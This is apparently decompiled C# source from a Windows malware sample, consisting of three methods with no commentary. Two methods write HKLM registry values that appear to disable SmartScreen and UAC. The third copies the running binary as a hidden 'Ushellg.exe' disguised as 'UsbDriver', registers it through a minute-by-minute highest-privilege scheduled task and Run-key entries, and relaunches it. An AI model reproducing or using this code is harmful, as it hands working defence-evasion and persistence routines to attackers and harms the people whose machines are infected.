// Token: 0x06000014 RID: 20 RVA: 0x00002970 File Offset: 0x00000B70 public static bool ToogleSmartScreen(string regpath, string name, string enable) { bool result; try { if (RunCheck.IsUserAdministrator()) { using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryControl.Regview)) { using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour())) { try { registryKey2.SetValue(name, enable, RegistryValueKind.String); return(true); } catch { return(false); } } } } result = true; } catch { result = false; } return(result); }
// Token: 0x06000012 RID: 18 RVA: 0x000027B8 File Offset: 0x000009B8 public static bool ToogleUacAdmin(string regpath, int locker) { bool result; try { if (RunCheck.IsUserAdministrator()) { using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryControl.Regview)) { using (RegistryKey registryKey2 = registryKey.OpenSubKey(regpath, RunCheck.StartWin_xSixtyFour())) { try { foreach (string name in RegistryControl.FieldsLocal) { try { registryKey2.SetValue(name, locker, RegistryValueKind.DWord); } catch { } } } catch (Exception) { return(false); } return(true); } } } result = true; } catch (Exception) { result = false; } return(result); }
// Token: 0x06000056 RID: 86 RVA: 0x00004278 File Offset: 0x00002478 public static void CopyAndShelduderInizialize() { ProcessControl.KillClipInizialize(); string startUpFromAppDataReserv = GlobalPath.StartUpFromAppDataReserv; string text = Path.Combine(startUpFromAppDataReserv, Path.GetFileName(GlobalPath.AssemblyPath.Replace(GlobalPath.AssemblyPath, "Ushellg.exe"))); RunSystem.Scheduler(false, "minute", 1, "highest", "UsbDriver", "\"" + text + "\""); RegistryControl.RegStartupInizialize(false, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "UsbDriver", text); Directory.Delete(GlobalPath.StartUpFromAppDataReserv); Thread.Sleep(2000); if (!Directory.Exists(startUpFromAppDataReserv) && GlobalDirectory.CreateDirectory(startUpFromAppDataReserv)) { File.Copy(GlobalPath.AssemblyPath, text, false); Thread.Sleep(2000); if (File.Exists(text)) { if (RunCheck.IsUserAdministrator()) { RunSystem.Scheduler(true, "minute", 1, "highest", "UsbDriver", "\"" + text + "\""); RegistryControl.RegStartupInizialize(true, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "UsbNDriver", text); if (!GlobalFile.IsHideOrNo()) { GlobalFile.HideFile(text, FileAttributes.Hidden); return; } } else { RegistryControl.RegStartupInizialize(true, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "UsbNDriver", text); if (!GlobalFile.IsHideOrNo()) { GlobalFile.HideFile(text, FileAttributes.Hidden); } ProcessControl.RunFile(text); } } } }